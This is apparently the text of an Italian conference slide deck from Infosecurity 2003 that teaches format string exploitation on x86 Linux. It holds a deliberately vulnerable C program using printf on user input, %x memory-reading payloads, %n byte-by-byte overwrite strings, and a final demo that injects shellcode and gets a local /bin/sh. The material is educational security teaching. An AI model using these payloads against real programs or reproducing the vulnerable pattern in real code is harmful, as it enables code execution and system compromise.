Alberto Ornaghi <[email protected]> Lorenzo Cavallaro <[email protected]> Format Bug Vulnerabilities Infosecurity 2003 1 Table of contents Introduzione all’IA-32 Cosa sono i modificatori di formato Problema Sfruttare il format bug per leggere e scrivere zone di memoria arbitrarie Infosecurity 2003 2 Introduzione Infosecurity 2003 3 Record di attivazione Return Address - E’ l’indirizzo a cui viene ceduto il controllo una volta terminata l’esecuzione della funzione. Base Pointer - E’ il contenuto del registro EBP al momento della chiamata alla funzione. Rappresenta il puntatore al record di attivazione precedente che deve essere ripristinato al termine della funzione Infosecurity 2003 high ret address base pointer automatic variables ... ... low 4 Calling Convention (1) int main(int argc, char **argv) { int a = 3; char foo[] = “security”; stack high 0xbffff930 3 0x804841d } printf(“%d %s\n”, a, foo); ret address base pointer low Infosecurity 2003 5 Calling Convention (2) I parametri vengono messi in ordine inverso sullo stack prima del record di attivazione Il codice della funzione li recupera come spiazzamento dal valore del registro EBP (punta al base pointer) Infosecurity 2003 6 I modificatori di formato %d interpreta come intero %x interpreta come valore esadecimale %s interpreta come puntatore a stringa %n scrive nella zona di memoria puntata dal parametro, il numero di byte scritti fino a quel momento dalla funzione *printf(3) Infosecurity 2003 7 Problema Infosecurity 2003 8 Printf (1) int foo(int a, int b) { … printf(“%#x %#x\n”); … } sullivan@panoramix:~/format$ ./printf_no_args 0xbffffad8 0xbffffaa0 sullivan@panoramix:~/format$ Infosecurity 2003 stack high 0xbffffaa0 0xbffffad8 0x8048464 ret address base pointer low 9 Printf (2) Il compilatore non controlla l’effettiva presenza dei parametri passati alla funzione La funzione printf(3) cerca di recuperare i parametri come se questi effettivamente fossero sullo stack La stringa di formato potrebbe essere costruita a runtime Infosecurity 2003 10 Programma vulnerabile int main(int argc, char **argv) { char foo[100]; ... bar(foo); … } void bar(char *s) { scanf(“%100s”, s); printf(s); return; } sullivan@panoramix:~/format$ ./vuln Infosecurity 2003 Infosecurity 2003 sullivan@panoramix:~/format$ Infosecurity 2003 11 Ingredienti Infosecurity 2003 12 Ispezione della memoria (1) sullivan@panoramix:~/format$ ./vuln AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. %x.%x.%x.%x.%x.%x.%x.%x. AAAA.bffffb14.64.40025438.bffffb7c.400097c0.8048490.1.400135 cc.bffffbe4.bffffb7c.80484bc.bffffb14.0.64.1.0.40027688.401150dd. 40134e48.41414141.2e78252e.252e7825.78252e78.2e78252e. sullivan@panoramix:~/format/$ Stack da “mangiare”: 20 dword Infosecurity 2003 13 Ispezione della memoria (2) int main(void) { … char string[] = “find me!”; … printf(buf); } sullivan@panoramix:~/format$ printf "\x20\xf9\xff\xbf%%x%%x %%x|%%s|\n" | ./example ùÿ¿bffff92080400269d4|find me!| sullivan@panoramix:~/format/$ Infosecurity 2003 14 Individuazione indirizzo del buffer di formato printf("\x14\xfb\xff\xbf_BUFFER__________|%%20$s| \n"); sullivan@panoramix:~/format$ ./addr | ./vuln ûÿ¿_BUFFER__________|ûÿ¿_BUFFER__________|%20$s| | sullivan@panoramix:~/format$ Infosecurity 2003 15 Retloc & retaddr (1) Buffer di formato utilizzato come base per determinare il return address location e il return address Return address location rappressenta l’indirizzo della zona di memoria che conterrà il return address Return address rappresenta l’indirizzo che conterrà il nostro shellcode Infosecurity 2003 16 Retloc & retaddr (2) La “ricerca” di un possibile retloc si traduce, spesso, nella determinazione di coppie (SFP, RET) sullivan@panoramix:~/format$ ./vuln AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x. %x.%x.%x.%x.%x.%x.%x.%x. AAAA.bffffb14.64.40025438.bffffb7c.400097c0.8048490.1.400135 cc.bffffbe4.bffffb7c.80484bc.bffffb14.0.64.1.0.40027688.401150dd. 40134e48.41414141.2e78252e.252e7825.78252e78.2e78252e. sullivan@panoramix:~/format/$ Retloc: &buf – 9 dword Infosecurity 2003 17 Sovrascrittura del RET (1) Generalmente il nostro shellcode si trova sullo stack Non è possibile scrivere indirizzi della forma 0xbfXXXXXX utilizzando il modificatore di formato %n Costruzione del retaddr da utilizzare fatta “byte a byte” Infosecurity 2003 18 Sovrascrittura del RET (2) int main(void) { } int i = 0x12345678; char buf[128]; … printf("\nbefore printf, i = %#x\n", i); printf(buf); printf("after printf, i = %#x\n", i); Infosecurity 2003 19 Sovrascrittura del RET (3) Ipotesi necessarie per la sovrascrittura della variabile i: La variabile i si trova sullo stack all’indirizzo 0xbffffce8 Il nostro “format” buffer dista 9 dword dalla funzione vulnerabile (printf) Variabile i contenente il valore 0x12345678 sovrascritta con il valore 0x87654321 Infosecurity 2003 20 Sovrascrittura del RET (4) (1) 0x12 0x00 0x00 0x00 0xFF 0xFF 0xFF 0xFF (2) 0x12 0x34 0x00 0x00 0x00 0xFF 0xFF 0xFF (3) 0x12 0x34 0x56 0x00 0x00 0x00 0xFF 0xFF (4) 0x12 0x34 0x56 0x78 0x00 0x00 0x00 0xFF printf( "\xe8\xfc\xff\xbf" "\xe9\xfc\xff\xbf" "\xea\xfc\xff\xbf" "\xeb\xfc\xff\xbf" (1) "%%17u%%9$n" (2) "%%34u%%10$n" (3) "%%34u%%11$n" (4) "%%34u%%12$n") Infosecurity 2003 21 Sovrascrittura del RET (5) sullivan@panoramix:~/format$ ./to_overwrite Infosecurity 2003 rulez ;) before printf, i = 0x12345678 Infosecurity 2003 rulez ;) after printf, i = 0x12345678 sullivan@panoramix:~/format/funzica$ ./overwrite | ./to_overwrite before printf, i = 0x12345678 èüÿ¿éüÿ¿êüÿ¿ëüÿ¿ 305419896 128 3221224568 134513044 after printf, i = 0x87654321 sullivan@panoramix:~/format$ Infosecurity 2003 22 Sfruttiamo le format string vulnerabilities (1) Struttura generica del format string buffer: <retlocs><stack eat><shellcode><write> • retlocs: indirizzo di memoria che contiene il return address • stack eat: sequenza di %x necessarie per arrivare al nostro buffer • shellcode: codice che si vuole eseguire • write: sequenze necessarie per sovrascrivere la locazione contenente il return address Infosecurity 2003 23 Sfruttiamo le format string vulnerabilities (2) sullivan@panoramix:~/format$ (./fmt ;cat ) | ./vuln ðúÿ¿ñúÿ¿òúÿ¿óúÿ¿ë[1À<89><88>C<89>C <8D> <8D>S ° Í<80>1Û°Í<80>èßÿÿÿ /bin/sh 3221224212 100 1073894456 3221224316 id uid=1004(sullivan) gid=100(users) groups=100(users) ls fmt.c fmt vuln.c vuln shellasm.c to_overwrite.c to_overwrite overwrite.c overwrite Infosecurity 2003 24 – Lorenzo Cavallaro – Alberto Ornaghi <[email protected]> <[email protected]> http://alor.antifork.org/speech Reference: http://www.team-teso.net/articles/formatstring/ http://www.hert.org/papers/format.html Infosecurity 2003 25